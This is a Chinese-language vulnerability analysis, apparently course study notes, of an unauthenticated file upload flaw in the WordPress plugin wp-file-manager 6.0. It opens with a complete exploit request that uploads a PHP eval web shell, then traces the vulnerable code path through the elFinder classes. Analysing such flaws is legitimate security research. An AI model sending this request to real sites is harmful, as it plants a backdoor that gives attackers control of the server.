WordPress 6.2
插件:wp-file-manager 6.0,File Manager (advanced view) – WordPress plugin | WordPress.org (https://wordpress.org/plugins/wp-file-manager/advanced/)
复现
后台,安装、启动插件
前台,提交请求包:
- POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
- Host: 127.0.0.1
- User-Agent: curl/7.88.1
- Accept: */*
- Content-Length: 424
- Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b
-
- --------------------------52d91370b674307b
- Content-Disposition: form-data; name="cmd"
-
- upload
- --------------------------52d91370b674307b
- Content-Disposition: form-data; name="target"
-
- l1_
- --------------------------52d91370b674307b
- Content-Disposition: form-data; name="upload[]"; filename="shell.php"
- Content-Type: application/octet-stream
-
- <?php @eval($_POST[1]);?>
- --------------------------52d91370b674307b--
访问一句话木马:http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php
从敏感函数逆向分析
elFinderVolumeLocalFileSystem类
敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法
/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php
- protected function _save($fp, $dir, $name, $stat)
- {
- $path = $this->_joinPath($dir, $name);
-
- $meta = stream_get_meta_data($fp);
- $uri = isset($meta['uri']) ? $meta['uri'] : '';
- if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) {
- ...
- if (($isCmdCopy || !rename($uri, $path)) && !copy($uri, $path)) {
$uri = $meta['uri'],$meta 取决于 $fp
- // stream_get_meta_data语法示例
- $fp = fopen('d:/flag.txt', 'r');
- $meta = stream_get_meta_data($fp);
- echo $meta['uri']; // d:/flag.txt
$path 是 $dir.$name 的拼接结果
这样如果 $fp 打开的一句话木马,并且 $path 为可访问 WEB路径,就可以 GetShell
elFinderVolumeDriver类
elFinderVolumeDriver类 的 saveCE方法 调用了 _save方法
- protected function saveCE($fp, $dir, $name, $stat)
- {
- $res = (!$this->encoding) ? $this->_save($fp, $dir, $name, $stat) : $this->convEncOut($this->_save($fp, $this->convEncIn($dir), $this->convEncIn($name), $this->convEncIn($stat)));
elFinderVolumeDriver类 的 upload方法 调用了 saveCE方法
- public function upload($fp, $dst, $name, $tmpname, $hashes = array())
- {
- ...
- $dstpath = $this->decode($dst);
- ...
- if (($path = $this->saveCE($fp, $dstpath, $name, $stat)) == false) {
$dstpath 和 $name 代表 copy 到的路径,$dstpath 取决于 $dst
查看 decode方法
- protected function decode($hash)
- {
- if (strpos($hash, $this->id) === 0) {
- ...
- return $this->abspathCE($path);
- }
- return '';
- }
可以看出需要正确的 id 才能得到路径
elFinder类
在 elFinder类 的构造方法可以看到使用了 id
- public function __construct($opts)
- {
- ...
- if ($volume->mount($o)) {
- $id = $volume->id();
在下面添加:
- ob_end_flush();
- var_dump($id);
直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的 id
- string(3) "l1_"
- string(3) "t1_"
- {"error":["errUnknownCmd"]}
其中 l1_ 是可以用的,也就是 $dst 要为 l1_
elFinder类
elFinderVolumeLocalFileSystem类 是 elFinderVolumeDriver类 的子类
elFinder类 的 upload方法 利用 elFinderVolumeLocalFileSystem类对象 调用了 elFinderVolumeDriver类 的 upload方法
- protected function upload($args)
- {
- ...
- if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {
其中 $volume 就是 elFinderVolumeLocalFileSystem类对象,怎么知道的呢,看构造方法
- public function __construct($opts)
- {
- ...
- $volume = new $class();
在下面添加:
- ob_end_flush();
- var_dump($volume);
直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的对象
- object(elFinderVolumeLocalFileSystem)#4 (61) {
- ...
再看 elFinder类 的 upload方法 是如何得到 elFinderVolumeDriver类 的 upload方法 的参数的
- protected function upload($args)
- {
- ...
- $target = $args['target'];
- ...
- $files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();
- ...
- foreach ($files['name'] as $i => $name) {
- ...
- $tmpname = $files['tmp_name'][$i];
- ...
- if (!is_file($tmpname) || ($fp = fopen($tmpname, 'rb')) === false) {
- ...
- if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {
可以看出来都存在 $args 中
elFinder类 的 exec方法 可以调用 elFinder类 的 upload方法
- public function exec($cmd, $args)
- {
- $result = $this->$cmd($args);
如果 $cmd 为 upload,exec方法 就调用 elFinder类 的 upload方法 了
elFinderConnector类
elFinderConnector类 的 run方法 调用了 exec方法
- public function run()
- {
- ...
- $src = $isPost ? array_merge($_GET, $_POST) : $_GET;
- ...
- $cmd = isset($src['cmd']) ? $src['cmd'] : '';
- ...
- foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
- ...
- $arg = isset($src[$name]) ? $src[$name] : '';
- ...
- $args[$name] = $arg;
- }
- ...
- $args['FILES'] = $_FILES;
- ...
- $this->output($this->elFinder->exec($cmd, $args));
可以看出来 POST请求 cmd 为 upload,就会调用 elFinder类 的 upload方法
当同时上传文件时,$args['FILES'] 将存储上传的文件的信息
elFinder类
在 elFinder类 可以看到 commandArgsList方法
- protected $commands = array(
- ...
- 'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),
- ...
-
- public function commandArgsList($cmd)
- {
- if ($this->commandExists($cmd)) {
- $list = $this->commands[$cmd];
- $list['reqid'] = false;
- } else {
- $list = array();
- }
- return $list;
- }
思路回到 elFinderConnector类
可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 时,$args['target'] 将等于 l1_
- array(18) {
- ["target"]=>
- string(3) "l1_"
- ...
- ["FILES"]=>
- array(1) {
- ["upload"]=>
- array(5) {
- ["name"]=>
- array(1) {
- [0]=>
- string(9) "shell.php"
- }
- ...
- ["tmp_name"]=>
- array(1) {
- [0]=>
- string(22) "C:\Windows\php147A.tmp"
思路回到 elFinderVolumeLocalFileSystem类
可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 并且 上传文件 时,copy函数 会将临时文件 保存到 $path 路径
connector.minimal.php
connector.minimal.php 调用了 run方法
- $connector = new elFinderConnector(new elFinder($opts));
- $connector->run();
elFinderVolumeLocalFileSystem类
在 $path = $this->_joinPath($dir, $name); 下面添加:
- ob_end_flush();
- var_dump($path);
提交复现中的请求包,可以看到响应的一句话木马路径:.../wp-content/plugins/wp-file-manager/lib/files/shell.php
本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/17354363.html